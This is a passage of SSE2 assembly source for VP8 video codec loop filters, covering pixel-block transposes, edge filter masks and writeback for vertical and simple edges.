punpcklbw xmm0, xmm5 ; b7 a7 b6 a6 b5 a5 b4 a4 b3 a3 b2 a2 b1 a1 b0 a0
movq xmm5, [rsi+2*rcx] ; xx xx xx xx xx xx xx xx e7 e6 e5 e4 e3 e2 e1 e0
punpcklbw xmm1, xmm6 ; d7 c7 d6 c6 d5 c5 d4 c4 d3 c3 d2 c2 d1 e1 d0 c0
movq xmm6, [rdi+2*rcx] ; xx xx xx xx xx xx xx xx f7 f6 f5 f4 f3 f2 f1 f0
punpcklbw xmm5, xmm6 ; f7 e7 f6 e6 f5 e5 f4 e4 f3 e3 f2 e2 f1 e1 f0 e0
movdqa xmm6, xmm1 ;
punpckhwd xmm6, xmm5 ; f7 e7 d7 c7 f6 e6 d6 c6 f5 e5 d5 c5 f4 e4 d4 c4
punpcklwd xmm1, xmm5 ; f3 e3 d3 c3 f2 e2 d2 c2 f1 e1 d1 c1 f0 e0 d0 c0
movdqa xmm5, xmm2 ; 97 87 96 86 95 85 94 84 93 83 92 82 91 81 90 80
punpcklwd xmm5, xmm0 ; b3 a3 93 83 b2 a2 92 82 b1 a1 91 81 b0 a0 90 80
punpckhwd xmm2, xmm0 ; b7 a7 97 87 b6 a6 96 86 b5 a5 95 85 b4 a4 94 84
movdqa xmm0, xmm5
punpckldq xmm0, xmm1 ; f1 e1 d1 c1 b1 a1 91 81 f0 e0 d0 c0 b0 a0 90 80
punpckhdq xmm5, xmm1 ; f3 e3 d3 c3 b3 a3 93 83 f2 e2 d2 c2 b2 a2 92 82
movdqa xmm1, xmm2 ; b7 a7 97 87 b6 a6 96 86 b5 a5 95 85 b4 a4 94 84
punpckldq xmm1, xmm6 ; f5 e5 d5 c5 b5 a5 95 85 f4 e4 d4 c4 b4 a4 94 84
punpckhdq xmm2, xmm6 ; f7 e7 d7 c7 b7 a7 97 87 f6 e6 d6 c6 b6 a6 96 86
movdqa xmm6, xmm7 ; 77 67 57 47 37 27 17 07 76 66 56 46 36 26 16 06
punpcklqdq xmm6, xmm2 ; f6 e6 d6 c6 b6 a6 96 86 76 66 56 46 36 26 16 06
punpckhqdq xmm7, xmm2 ; f7 e7 d7 c7 b7 a7 97 87 77 67 57 47 37 27 17 07
%if %2 == 0
movdqa [rsp+_q3], xmm7 ; save 7
movdqa [rsp+_q2], xmm6 ; save 6
%endif
movdqa xmm2, xmm3 ; 73 63 53 43 33 23 13 03 72 62 52 42 32 22 12 02
punpckhqdq xmm3, xmm5 ; f3 e3 d3 c3 b3 a3 93 83 73 63 53 43 33 23 13 03
punpcklqdq xmm2, xmm5 ; f2 e2 d2 c2 b2 a2 92 82 72 62 52 42 32 22 12 02
movdqa [rsp+_p1], xmm2 ; save 2
movdqa xmm5, xmm4 ; 75 65 55 45 35 25 15 05 74 64 54 44 34 24 14 04
punpcklqdq xmm4, xmm1 ; f4 e4 d4 c4 b4 a4 94 84 74 64 54 44 34 24 14 04
movdqa [rsp+_p0], xmm3 ; save 3
punpckhqdq xmm5, xmm1 ; f5 e5 d5 c5 b5 a5 95 85 75 65 55 45 35 25 15 05
movdqa [rsp+_q0], xmm4 ; save 4
movdqa [rsp+_q1], xmm5 ; save 5
movdqa xmm1, [rsp+_t0]
movdqa xmm2, xmm1 ;
punpckhqdq xmm1, xmm0 ; f1 e1 d1 c1 b1 a1 91 81 71 61 51 41 31 21 11 01
punpcklqdq xmm2, xmm0 ; f0 e0 d0 c0 b0 a0 90 80 70 60 50 40 30 20 10 00
%if %2 == 0
movdqa [rsp+_p2], xmm1
movdqa [rsp+_p3], xmm2
%endif
%endmacro
%macro LFV_FILTER_MASK_HEV_MASK 0
movdqa xmm0, xmm6 ; q2
psubusb xmm0, xmm7 ; q2-q3
psubusb xmm7, xmm6 ; q3-q2
movdqa xmm4, xmm5 ; q1
por xmm7, xmm0 ; abs (q3-q2)
psubusb xmm4, xmm6 ; q1-q2
movdqa xmm0, xmm1
psubusb xmm6, xmm5 ; q2-q1
por xmm6, xmm4 ; abs (q2-q1)
psubusb xmm0, xmm2 ; p2 - p3;
psubusb xmm2, xmm1 ; p3 - p2;
por xmm0, xmm2 ; abs(p2-p3)
movdqa xmm5, [rsp+_p1] ; p1
pmaxub xmm0, xmm7
movdqa xmm2, xmm5 ; p1
psubusb xmm5, xmm1 ; p1-p2
psubusb xmm1, xmm2 ; p2-p1
movdqa xmm7, xmm3 ; p0
psubusb xmm7, xmm2 ; p0-p1
por xmm1, xmm5 ; abs(p2-p1)
pmaxub xmm0, xmm6
pmaxub xmm0, xmm1
movdqa xmm1, xmm2 ; p1
psubusb xmm2, xmm3 ; p1-p0
por xmm2, xmm7 ; abs(p1-p0)
pmaxub xmm0, xmm2
movdqa xmm5, [rsp+_q0] ; q0
movdqa xmm7, [rsp+_q1] ; q1
mov rdx, arg(3) ; limit
movdqa xmm6, xmm5 ; q0
movdqa xmm4, xmm7 ; q1
psubusb xmm5, xmm7 ; q0-q1
psubusb xmm7, xmm6 ; q1-q0
por xmm7, xmm5 ; abs(q1-q0)
pmaxub xmm0, xmm7
psubusb xmm0, [rdx] ; limit
mov rdx, arg(2) ; blimit
movdqa xmm5, xmm4 ; q1
psubusb xmm5, xmm1 ; q1-=p1
psubusb xmm1, xmm4 ; p1-=q1
por xmm5, xmm1 ; abs(p1-q1)
movdqa xmm1, xmm3 ; p0
pand xmm5, [GLOBAL(tfe)] ; set lsb of each byte to zero
psubusb xmm1, xmm6 ; p0-q0
movdqa xmm4, [rdx] ; blimit
mov rdx, arg(4) ; get thresh
psrlw xmm5, 1 ; abs(p1-q1)/2
psubusb xmm6, xmm3 ; q0-p0
por xmm1, xmm6 ; abs(q0-p0)
paddusb xmm1, xmm1 ; abs(q0-p0)*2
movdqa xmm3, [rdx]
paddusb xmm1, xmm5 ; abs (p0 - q0) *2 + abs(p1-q1)/2
psubusb xmm2, xmm3 ; abs(q1 - q0) > thresh
psubusb xmm7, xmm3 ; abs(p1 - p0)> thresh
psubusb xmm1, xmm4 ; abs (p0 - q0) *2 + abs(p1-q1)/2 > blimit
por xmm2, xmm7 ; abs(q1 - q0) > thresh || abs(p1 - p0) > thresh
por xmm1, xmm0 ; mask
pcmpeqb xmm2, xmm0
pxor xmm0, xmm0
pcmpeqb xmm4, xmm4
pcmpeqb xmm1, xmm0
pxor xmm4, xmm2
%endmacro
%macro BV_TRANSPOSE 0
; xmm1 = f2 e2 d2 c2 b2 a2 92 82 72 62 52 42 32 22 12 02
; xmm6 = f3 e3 d3 c3 b3 a3 93 83 73 63 53 43 33 23 13 03
; xmm3 = f4 e4 d4 c4 b4 a4 94 84 74 64 54 44 34 24 14 04
; xmm7 = f5 e5 d5 c5 b5 a5 95 85 75 65 55 45 35 25 15 05
movdqa xmm2, xmm1 ; f2 e2 d2 c2 b2 a2 92 82 72 62 52 42 32 22 12 02
punpcklbw xmm2, xmm6 ; 73 72 63 62 53 52 43 42 33 32 23 22 13 12 03 02
movdqa xmm4, xmm3 ; f4 e4 d4 c4 b4 a4 94 84 74 64 54 44 34 24 14 04
punpckhbw xmm1, xmm6 ; f3 f2 e3 e2 d3 d2 c3 c2 b3 b2 a3 a2 93 92 83 82
punpcklbw xmm4, xmm7 ; 75 74 65 64 55 54 45 44 35 34 25 24 15 14 05 04
punpckhbw xmm3, xmm7 ; f5 f4 e5 e4 d5 d4 c5 c4 b5 b4 a5 a4 95 94 85 84
movdqa xmm6, xmm2 ; 73 72 63 62 53 52 43 42 33 32 23 22 13 12 03 02
punpcklwd xmm2, xmm4 ; 35 34 33 32 25 24 23 22 15 14 13 12 05 04 03 02
punpckhwd xmm6, xmm4 ; 75 74 73 72 65 64 63 62 55 54 53 52 45 44 43 42
movdqa xmm5, xmm1 ; f3 f2 e3 e2 d3 d2 c3 c2 b3 b2 a3 a2 93 92 83 82
punpcklwd xmm1, xmm3 ; b5 b4 b3 b2 a5 a4 a3 a2 95 94 93 92 85 84 83 82
punpckhwd xmm5, xmm3 ; f5 f4 f3 f2 e5 e4 e3 e2 d5 d4 d3 d2 c5 c4 c3 c2
; xmm2 = 35 34 33 32 25 24 23 22 15 14 13 12 05 04 03 02
; xmm6 = 75 74 73 72 65 64 63 62 55 54 53 52 45 44 43 42
; xmm1 = b5 b4 b3 b2 a5 a4 a3 a2 95 94 93 92 85 84 83 82
; xmm5 = f5 f4 f3 f2 e5 e4 e3 e2 d5 d4 d3 d2 c5 c4 c3 c2
%endmacro
%macro BV_WRITEBACK 2
movd [rsi+2], %1
movd [rsi+4*rax+2], %2
psrldq %1, 4
psrldq %2, 4
movd [rdi+2], %1
movd [rdi+4*rax+2], %2
psrldq %1, 4
psrldq %2, 4
movd [rsi+2*rax+2], %1
movd [rsi+2*rcx+2], %2
psrldq %1, 4
psrldq %2, 4
movd [rdi+2*rax+2], %1
movd [rdi+2*rcx+2], %2
%endmacro
%if ABI_IS_32BIT
;void vp8_loop_filter_vertical_edge_sse2
;(
; unsigned char *src_ptr,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
;)
global sym(vp8_loop_filter_vertical_edge_sse2) PRIVATE
sym(vp8_loop_filter_vertical_edge_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ; src_ptr
movsxd rax, dword ptr arg(1) ; src_pixel_step
lea rsi, [rsi - 4]
lea rdi, [rsi + rax] ; rdi points to row +1 for indirect addressing
lea rcx, [rax*2+rax]
;transpose 16x8 to 8x16, and store the 8-line result on stack.
TRANSPOSE_16X8 1, 1
; calculate filter mask and high edge variance
LFV_FILTER_MASK_HEV_MASK
; start work on filters
B_FILTER 2
; transpose and write back - only work on q1, q0, p0, p1
BV_TRANSPOSE
; store 16-line result
lea rdx, [rax]
neg rdx
BV_WRITEBACK xmm1, xmm5
lea rsi, [rsi+rdx*8]
lea rdi, [rdi+rdx*8]
BV_WRITEBACK xmm2, xmm6
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
%endif
;void vp8_loop_filter_vertical_edge_uv_sse2
;(
; unsigned char *u,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
; unsigned char *v
;)
global sym(vp8_loop_filter_vertical_edge_uv_sse2) PRIVATE
sym(vp8_loop_filter_vertical_edge_uv_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ; u_ptr
movsxd rax, dword ptr arg(1) ; src_pixel_step
lea rsi, [rsi - 4]
lea rdi, [rsi + rax] ; rdi points to row +1 for indirect addressing
lea rcx, [rax+2*rax]
;transpose 16x8 to 8x16, and store the 8-line result on stack.
TRANSPOSE_16X8 0, 1
; calculate filter mask and high edge variance
LFV_FILTER_MASK_HEV_MASK
; start work on filters
B_FILTER 2
; transpose and write back - only work on q1, q0, p0, p1
BV_TRANSPOSE
lea rdi, [rsi + rax] ; rdi points to row +1 for indirect addressing
; store 16-line result
BV_WRITEBACK xmm1, xmm5
mov rsi, arg(0) ; u_ptr
lea rsi, [rsi - 4]
lea rdi, [rsi + rax] ; rdi points to row +1 for indirect addressing
BV_WRITEBACK xmm2, xmm6
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
%macro MBV_TRANSPOSE 0
movdqa xmm0, [rsp+_p3] ; f0 e0 d0 c0 b0 a0 90 80 70 60 50 40 30 20 10 00
movdqa xmm1, xmm0 ; f0 e0 d0 c0 b0 a0 90 80 70 60 50 40 30 20 10 00
punpcklbw xmm0, xmm2 ; 71 70 61 60 51 50 41 40 31 30 21 20 11 10 01 00
punpckhbw xmm1, xmm2 ; f1 f0 e1 e0 d1 d0 c1 c0 b1 b0 a1 a0 91 90 81 80
movdqa xmm7, [rsp+_p1] ; f2 e2 d2 c2 b2 a2 92 82 72 62 52 42 32 22 12 02
movdqa xmm6, xmm7 ; f2 e2 d2 c2 b2 a2 92 82 72 62 52 42 32 22 12 02
punpcklbw xmm7, [rsp+_p0] ; 73 72 63 62 53 52 43 42 33 32 23 22 13 12 03 02
punpckhbw xmm6, [rsp+_p0] ; f3 f2 e3 e2 d3 d2 c3 c2 b3 b2 a3 a2 93 92 83 82
movdqa xmm3, xmm0 ; 71 70 61 60 51 50 41 40 31 30 21 20 11 10 01 00
punpcklwd xmm0, xmm7 ; 33 32 31 30 23 22 21 20 13 12 11 10 03 02 01 00
punpckhwd xmm3, xmm7 ; 73 72 71 70 63 62 61 60 53 52 51 50 43 42 41 40
movdqa xmm4, xmm1 ; f1 f0 e1 e0 d1 d0 c1 c0 b1 b0 a1 a0 91 90 81 80
punpcklwd xmm1, xmm6 ; b3 b2 b1 b0 a3 a2 a1 a0 93 92 91 90 83 82 81 80
punpckhwd xmm4, xmm6 ; f3 f2 f1 f0 e3 e2 e1 e0 d3 d2 d1 d0 c3 c2 c1 c0
movdqa xmm7, [rsp+_q0] ; f4 e4 d4 c4 b4 a4 94 84 74 64 54 44 34 24 14 04
punpcklbw xmm7, [rsp+_q1] ; 75 74 65 64 55 54 45 44 35 34 25 24 15 14 05 04
movdqa xmm6, xmm5 ; f6 e6 d6 c6 b6 a6 96 86 76 66 56 46 36 26 16 06
punpcklbw xmm6, [rsp+_q3] ; 77 76 67 66 57 56 47 46 37 36 27 26 17 16 07 06
movdqa xmm2, xmm7 ; 75 74 65 64 55 54 45 44 35 34 25 24 15 14 05 04
punpcklwd xmm7, xmm6 ; 37 36 35 34 27 26 25 24 17 16 15 14 07 06 05 04
punpckhwd xmm2, xmm6 ; 77 76 75 74 67 66 65 64 57 56 55 54 47 46 45 44
movdqa xmm6, xmm0 ; 33 32 31 30 23 22 21 20 13 12 11 10 03 02 01 00
punpckldq xmm0, xmm7 ; 17 16 15 14 13 12 11 10 07 06 05 04 03 02 01 00
punpckhdq xmm6, xmm7 ; 37 36 35 34 33 32 31 30 27 26 25 24 23 22 21 20
%endmacro
%macro MBV_WRITEBACK_1 0
movq [rsi], xmm0
movhps [rdi], xmm0
movq [rsi+2*rax], xmm6
movhps [rdi+2*rax], xmm6
movdqa xmm0, xmm3 ; 73 72 71 70 63 62 61 60 53 52 51 50 43 42 41 40
punpckldq xmm0, xmm2 ; 57 56 55 54 53 52 51 50 47 46 45 44 43 42 41 40
punpckhdq xmm3, xmm2 ; 77 76 75 74 73 72 71 70 67 66 65 64 63 62 61 60
movq [rsi+4*rax], xmm0
movhps [rdi+4*rax], xmm0
movq [rsi+2*rcx], xmm3
movhps [rdi+2*rcx], xmm3
movdqa xmm7, [rsp+_q0] ; f4 e4 d4 c4 b4 a4 94 84 74 64 54 44 34 24 14 04
punpckhbw xmm7, [rsp+_q1] ; f5 f4 e5 e4 d5 d4 c5 c4 b5 b4 a5 a4 95 94 85 84
punpckhbw xmm5, [rsp+_q3] ; f7 f6 e7 e6 d7 d6 c7 c6 b7 b6 a7 a6 97 96 87 86
movdqa xmm0, xmm7
punpcklwd xmm0, xmm5 ; b7 b6 b4 b4 a7 a6 a5 a4 97 96 95 94 87 86 85 84
punpckhwd xmm7, xmm5 ; f7 f6 f5 f4 e7 e6 e5 e4 d7 d6 d5 d4 c7 c6 c5 c4
movdqa xmm5, xmm1 ; b3 b2 b1 b0 a3 a2 a1 a0 93 92 91 90 83 82 81 80
punpckldq xmm1, xmm0 ; 97 96 95 94 93 92 91 90 87 86 85 83 84 82 81 80
punpckhdq xmm5, xmm0 ; b7 b6 b5 b4 b3 b2 b1 b0 a7 a6 a5 a4 a3 a2 a1 a0
%endmacro
%macro MBV_WRITEBACK_2 0
movq [rsi], xmm1
movhps [rdi], xmm1
movq [rsi+2*rax], xmm5
movhps [rdi+2*rax], xmm5
movdqa xmm1, xmm4 ; f3 f2 f1 f0 e3 e2 e1 e0 d3 d2 d1 d0 c3 c2 c1 c0
punpckldq xmm1, xmm7 ; d7 d6 d5 d4 d3 d2 d1 d0 c7 c6 c5 c4 c3 c2 c1 c0
punpckhdq xmm4, xmm7 ; f7 f6 f4 f4 f3 f2 f1 f0 e7 e6 e5 e4 e3 e2 e1 e0
movq [rsi+4*rax], xmm1
movhps [rdi+4*rax], xmm1
movq [rsi+2*rcx], xmm4
movhps [rdi+2*rcx], xmm4
%endmacro
;void vp8_mbloop_filter_vertical_edge_sse2
;(
; unsigned char *src_ptr,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
;)
global sym(vp8_mbloop_filter_vertical_edge_sse2) PRIVATE
sym(vp8_mbloop_filter_vertical_edge_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ; src_ptr
movsxd rax, dword ptr arg(1) ; src_pixel_step
lea rsi, [rsi - 4]
lea rdi, [rsi + rax] ; rdi points to row +1 for indirect addressing
lea rcx, [rax*2+rax]
; Transpose
TRANSPOSE_16X8 1, 0
; calculate filter mask and high edge variance
LFV_FILTER_MASK_HEV_MASK
neg rax
; start work on filters
MB_FILTER_AND_WRITEBACK 2
lea rsi, [rsi+rax*8]
lea rdi, [rdi+rax*8]
; transpose and write back
MBV_TRANSPOSE
neg rax
MBV_WRITEBACK_1
lea rsi, [rsi+rax*8]
lea rdi, [rdi+rax*8]
MBV_WRITEBACK_2
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vp8_mbloop_filter_vertical_edge_uv_sse2
;(
; unsigned char *u,
; int src_pixel_step,
; const char *blimit,
; const char *limit,
; const char *thresh,
; unsigned char *v
;)
global sym(vp8_mbloop_filter_vertical_edge_uv_sse2) PRIVATE
sym(vp8_mbloop_filter_vertical_edge_uv_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
GET_GOT rbx
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, lf_var_size
mov rsi, arg(0) ; u_ptr
movsxd rax, dword ptr arg(1) ; src_pixel_step
lea rsi, [rsi - 4]
lea rdi, [rsi + rax] ; rdi points to row +1 for indirect addressing
lea rcx, [rax+2*rax]
; Transpose
TRANSPOSE_16X8 0, 0
; calculate filter mask and high edge variance
LFV_FILTER_MASK_HEV_MASK
; start work on filters
MB_FILTER_AND_WRITEBACK 2
; transpose and write back
MBV_TRANSPOSE
mov rsi, arg(0) ;u_ptr
lea rsi, [rsi - 4]
lea rdi, [rsi + rax]
MBV_WRITEBACK_1
mov rsi, arg(5) ;v_ptr
lea rsi, [rsi - 4]
lea rdi, [rsi + rax]
MBV_WRITEBACK_2
add rsp, lf_var_size
pop rsp
; begin epilog
pop rdi
pop rsi
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vp8_loop_filter_simple_horizontal_edge_sse2
;(
; unsigned char *src_ptr,
; int src_pixel_step,
; const char *blimit,
;)
global sym(vp8_loop_filter_simple_horizontal_edge_sse2) PRIVATE
sym(vp8_loop_filter_simple_horizontal_edge_sse2):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 3
SAVE_XMM 7
GET_GOT rbx
; end prolog
mov rcx, arg(0) ;src_ptr
movsxd rax, dword ptr arg(1) ;src_pixel_step ; destination pitch?
movdqa xmm6, [GLOBAL(tfe)]
lea rdx, [rcx + rax]
neg rax
; calculate mask
movdqa xmm0, [rdx] ; q1
mov rdx, arg(2) ;blimit
movdqa xmm1, [rcx+2*rax] ; p1
movdqa xmm2, xmm1
movdqa xmm3, xmm0
psubusb xmm0, xmm1 ; q1-=p1
psubusb xmm1, xmm3 ; p1-=q1
por xmm1, xmm0 ; abs(p1-q1)
pand xmm1, xmm6 ; set lsb of each byte to zero
psrlw xmm1, 1 ; abs(p1-q1)/2
movdqa xmm7, XMMWORD PTR [rdx]
movdqa xmm5, [rcx+rax] ; p0
movdqa xmm4, [rcx] ; q0
movdqa xmm0, xmm4 ; q0
movdqa xmm6, xmm5 ; p0
psubusb xmm5, xmm4 ; p0-=q0
psubusb xmm4, xmm6 ; q0-=p0
por xmm5, xmm4 ; abs(p0 - q0)
movdqa xmm4, [GLOBAL(t80)]
paddusb xmm5, xmm5 ; abs(p0-q0)*2
paddusb xmm5, xmm1 ; abs (p0 - q0) *2 + abs(p1-q1)/2
psubusb xmm5, xmm7 ; abs(p0 - q0) *2 + abs(p1-q1)/2 > blimit
pxor xmm7, xmm7
pcmpeqb xmm5, xmm7
; start work on filters
pxor xmm2, xmm4 ; p1 offset to convert to signed values
pxor xmm3, xmm4 ; q1 offset to convert to signed values
psubsb xmm2, xmm3 ; p1 - q1
pxor xmm6, xmm4 ; offset to convert to signed values
pxor xmm0, xmm4 ; offset to convert to signed values
movdqa xmm3, xmm0 ; q0
psubsb xmm0, xmm6 ; q0 - p0
paddsb xmm2, xmm0 ; p1 - q1 + 1 * (q0 - p0)
paddsb xmm2, xmm0 ; p1 - q1 + 2 * (q0 - p0)
paddsb xmm2, xmm0 ; p1 - q1 + 3 * (q0 - p0)
pand xmm5, xmm2 ; mask filter values we don't care about
movdqa xmm0, xmm5
paddsb xmm5, [GLOBAL(t3)] ; 3* (q0 - p0) + (p1 - q1) + 4
paddsb xmm0, [GLOBAL(t4)] ; +3 instead of +4
movdqa xmm1, [GLOBAL(te0)]
movdqa xmm2, [GLOBAL(t1f)]
; pxor xmm7, xmm7
pcmpgtb xmm7, xmm0 ;save sign
pand xmm7, xmm1 ;preserve the upper 3 bits
psrlw xmm0, 3
pand xmm0, xmm2 ;clear out upper 3 bits
por xmm0, xmm7 ;add sign
psubsb xmm3, xmm0 ; q0-= q0sz add
pxor xmm7, xmm7
pcmpgtb xmm7, xmm5 ;save sign
pand xmm7, xmm1 ;preserve the upper 3 bits
psrlw xmm5, 3
pand xmm5, xmm2 ;clear out upper 3 bits
por xmm5, xmm7 ;add sign
paddsb xmm6, xmm5 ; p0+= p0 add
pxor xmm3, xmm4 ; unoffset
movdqa [rcx], xmm3 ; write back
pxor xmm6, xmm4 ; unoffset
movdqa [rcx+rax], xmm6 ; write back
; begin epilog
RESTORE_GOT
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vp8_loop_filter_simple_vertical_edge_sse2
;(
; unsigned char *src_ptr,
; int src_pixel_step,
; const char *blimit,
;)
global sym(vp8_loop_filter_simple_vertical_edge_sse2) PRIVATE
sym(vp8_loop_filter_simple_vertical_edge_sse2):
push rbp ; save old base pointer value.
mov rbp, rsp ; set new base pointer value.
SHADOW_ARGS_TO_STACK 3
SAVE_XMM 7
GET_GOT rbx ; save callee-saved reg
push rsi
push rdi
; end prolog
ALIGN_STACK 16, rax
sub rsp, 32 ; reserve 32 bytes
%define t0 [rsp + 0] ;__declspec(align(16)) char t0[16];
%define t1 [rsp + 16] ;__declspec(align(16)) char t1[16];
mov rsi, arg(0) ;src_ptr
movsxd rax, dword ptr arg(1) ;src_pixel_step ; destination pitch?
lea rsi, [rsi - 2 ]
lea rdi, [rsi + rax]
lea rdx, [rsi + rax*4]
lea rcx, [rdx + rax]
movd xmm0, [rsi] ; (high 96 bits unused) 03 02 01 00
movd xmm1, [rdx] ; (high 96 bits unused) 43 42 41 40
movd xmm2, [rdi] ; 13 12 11 10
movd xmm3, [rcx] ; 53 52 51 50
punpckldq xmm0, xmm1 ; (high 64 bits unused) 43 42 41 40 03 02 01 00
punpckldq xmm2, xmm3 ; 53 52 51 50 13 12 11 10
movd xmm4, [rsi + rax*2] ; 23 22 21 20
movd xmm5, [rdx + rax*2] ; 63 62 61 60
movd xmm6, [rdi + rax*2] ; 33 32 31 30
movd xmm7, [rcx + rax*2] ; 73 72 71 70
punpckldq xmm4, xmm5 ; 63 62 61 60 23 22 21 20
punpckldq xmm6, xmm7 ; 73 72 71 70 33 32 31 30
punpcklbw xmm0, xmm2 ; 53 43 52 42 51 41 50 40 13 03 12 02 11 01 10 00
punpcklbw xmm4, xmm6 ; 73 63 72 62 71 61 70 60 33 23 32 22 31 21 30 20
movdqa xmm1, xmm0
punpcklwd xmm0, xmm4 ; 33 23 13 03 32 22 12 02 31 21 11 01 30 20 10 00
punpckhwd xmm1, xmm4 ; 73 63 53 43 72 62 52 42 71 61 51 41 70 60 50 40
movdqa xmm2, xmm0
punpckldq xmm0, xmm1 ; 71 61 51 41 31 21 11 01 70 60 50 40 30 20 10 00
punpckhdq xmm2, xmm1 ; 73 63 53 43 33 23 13 03 72 62 52 42 32 22 12 02
lea rsi, [rsi + rax*8]
lea rdi, [rsi + rax]
lea rdx, [rsi + rax*4]
lea rcx, [rdx + rax]
movd xmm4, [rsi] ; 83 82 81 80
movd xmm1, [rdx] ; c3 c2 c1 c0
movd xmm6, [rdi] ; 93 92 91 90
movd xmm3, [rcx] ; d3 d2 d1 d0
punpckldq xmm4, xmm1 ; c3 c2 c1 c0 83 82 81 80
punpckldq xmm6, xmm3 ; d3 d2 d1 d0 93 92 91 90
movd xmm1, [rsi + rax*2] ; a3 a2 a1 a0
movd xmm5, [rdx + rax*2] ; e3 e2 e1 e0
movd xmm3, [rdi + rax*2] ; b3 b2 b1 b0
movd xmm7, [rcx + rax*2] ; f3 f2 f1 f0
punpckldq xmm1, xmm5 ; e3 e2 e1 e0 a3 a2 a1 a0
punpckldq xmm3, xmm7 ; f3 f2 f1 f0 b3 b2 b1 b0
punpcklbw xmm4, xmm6 ; d3 c3 d2 c2 d1 c1 d0 c0 93 83 92 82 91 81 90 80
punpcklbw xmm1, xmm3 ; f3 e3 f2 e2 f1 e1 f0 e0 b3 a3 b2 a2 b1 a1 b0 a0
movdqa xmm7, xmm4
punpcklwd xmm4, xmm1 ; b3 a3 93 83 b2 a2 92 82 b1 a1 91 81 b0 a0 90 80
punpckhwd xmm7, xmm1 ; f3 e3 d3 c3 f2 e2 d2 c2 f1 e1 d1 c1 f0 e0 d0 c0
movdqa xmm6, xmm4
punpckldq xmm4, xmm7 ; f1 e1 d1 c1 b1 a1 91 81 f0 e0 d0 c0 b0 a0 90 80
punpckhdq xmm6, xmm7 ; f3 e3 d3 c3 b3 a3 93 83 f2 e2 d2 c2 b2 a2 92 82
movdqa xmm1, xmm0
movdqa xmm3, xmm2
punpcklqdq xmm0, xmm4 ; p1 f0 e0 d0 c0 b0 a0 90 80 70 60 50 40 30 20 10 00
punpckhqdq xmm1, xmm4 ; p0 f1 e1 d1 c1 b1 a1 91 81 71 61 51 41 31 21 11 01
punpcklqdq xmm2, xmm6 ; q0 f2 e2 d2 c2 b2 a2 92 82 72 62 52 42 32 22 12 02
punpckhqdq xmm3, xmm6 ; q1 f3 e3 d3 c3 b3 a3 93 83 73 63 53 43 33 23 13 03
mov rdx, arg(2) ;blimit
; calculate mask
movdqa xmm6, xmm0 ; p1
movdqa xmm7, xmm3 ; q1
psubusb xmm7, xmm0 ; q1-=p1
psubusb xmm6, xmm3 ; p1-=q1
por xmm6, xmm7 ; abs(p1-q1)
pand xmm6, [GLOBAL(tfe)] ; set lsb of each byte to zero
psrlw xmm6, 1 ; abs(p1-q1)/2
movdqa xmm7, [rdx]
movdqa xmm5, xmm1 ; p0
movdqa xmm4, xmm2 ; q0
psubusb xmm5, xmm2 ; p0-=q0
psubusb xmm4, xmm1 ; q0-=p0
por xmm5, xmm4 ; abs(p0 - q0)
paddusb xmm5, xmm5 ; abs(p0-q0)*2
paddusb xmm5, xmm6 ; abs (p0 - q0) *2 + abs(p1-q1)/2
movdqa xmm4, [GLOBAL(t80)]
psubusb xmm5, xmm7 ; abs(p0 - q0) *2 + abs(p1-q1)/2 > blimit
pxor xmm7, xmm7
pcmpeqb xmm5, xmm7 ; mm5 = mask
; start work on filters
movdqa t0, xmm0
movdqa t1, xmm3
pxor xmm0, xmm4 ; p1 offset to convert to signed values
pxor xmm3, xmm4 ; q1 offset to convert to signed values
psubsb xmm0, xmm3 ; p1 - q1
pxor xmm1, xmm4 ; offset to convert to signed values
pxor xmm2, xmm4 ; offset to convert to signed values
movdqa xmm3, xmm2 ; offseted ; q0
psubsb xmm2, xmm1 ; q0 - p0
paddsb xmm0, xmm2 ; p1 - q1 + 1 * (q0 - p0)
paddsb xmm0, xmm2 ; p1 - q1 + 2 * (q0 - p0)
paddsb xmm0, xmm2 ; p1 - q1 + 3 * (q0 - p0)
pand xmm5, xmm0 ; mask filter values we don't care about
movdqa xmm0, xmm5
paddsb xmm5, [GLOBAL(t3)] ; 3* (q0 - p0) + (p1 - q1) + 4
paddsb xmm0, [GLOBAL(t4)] ; +3 instead of +4
movdqa xmm6, [GLOBAL(te0)]
movdqa xmm2, [GLOBAL(t1f)]
; pxor xmm7, xmm7
pcmpgtb xmm7, xmm0 ;save sign
pand xmm7, xmm6 ;preserve the upper 3 bits
psrlw xmm0, 3
pand xmm0, xmm2 ;clear out upper 3 bits
por xmm0, xmm7 ;add sign
psubsb xmm3, xmm0 ; q0-= q0sz add
pxor xmm7, xmm7
pcmpgtb xmm7, xmm5 ;save sign
pand xmm7, xmm6 ;preserve the upper 3 bits
psrlw xmm5, 3
pand xmm5, xmm2 ;clear out upper 3 bits
por xmm5, xmm7 ;add sign
paddsb xmm1, xmm5 ; p0+= p0 add
pxor xmm3, xmm4 ; unoffset q0
pxor xmm1, xmm4 ; unoffset p0
movdqa xmm0, t0 ; p1
movdqa xmm4, t1 ; q1
